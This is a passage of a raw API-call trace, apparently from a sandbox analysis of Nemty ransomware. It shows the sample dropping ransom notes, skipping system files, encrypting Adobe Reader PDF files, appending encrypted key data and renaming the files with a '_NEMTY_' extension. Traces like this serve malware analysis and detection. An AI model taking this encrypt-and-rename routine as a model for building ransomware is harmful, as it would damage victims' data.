cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0189.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NLD", lpUsedDefaultChar=0x0) returned 3 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0189.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0189.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0189.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.025] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.025] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.026] CloseHandle (hObject=0x2f0) returned 1 [0189.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0189.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.027] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.027] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.028] CloseHandle (hObject=0x2f0) returned 1 [0189.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.028] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24503990, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24503990, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.028] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.028] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24503990, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24503990, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.028] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.028] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.028] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.028] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.029] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.030] Sleep (dwMilliseconds=0x5) [0189.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24529af0, dwHighDateTime=0x1d561e8)) [0189.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24529af0, dwHighDateTime=0x1d561e8)) [0189.039] GetLastError () returned 0xb7 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.039] GetLastError () returned 0xb7 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.039] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.039] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.039] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.039] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="IVpn7mtwFBjZDln6DyVFC1YHU7qB11oeoTXpztlvBBFhcBM6itGEZchcrO5pZrb/\r\nsfn7PrOBIYvHO5Gb8+xHfbEBovaUUdOXO7j1NWniHP+ydtnpNZSWKhhnHua0tOrZ\r\nV3/o5LctdNDd1qq9vR91qnN7M4rgSocgi5PhLskbXd+YPlfMJqibFWKTddNyYs8s\r\nfDprC7eO4LMu3LnUOQCB/cOSHmni2XG5uaerIzwQ9nNmapxG4FLJ+TeLvRfWCW7G\r\nK7GsuFsHzWUAhEOKn/0ggJhVDiy3hZU1Ffwg31lQ9sRoAun8kX6+P4JlO3ct6HhB\r\na/T3KZ373diA/kdxqdSofw==\r\n", pcchString=0x653df5c) returned 1 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.040] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=65338) returned 1 [0189.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xff30) returned 0x6352c48 [0189.040] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.040] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xff30, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xff30, lpOverlapped=0x0) returned 1 [0189.046] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.046] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xff30, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xff30, lpOverlapped=0x0) returned 1 [0189.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.046] SetFilePointer (in: hFile=0x320, lDistanceToMove=65338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xff3a [0189.046] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.046] CloseHandle (hObject=0x320) returned 1 [0189.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.047] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.047] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9542, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.047] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.048] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, 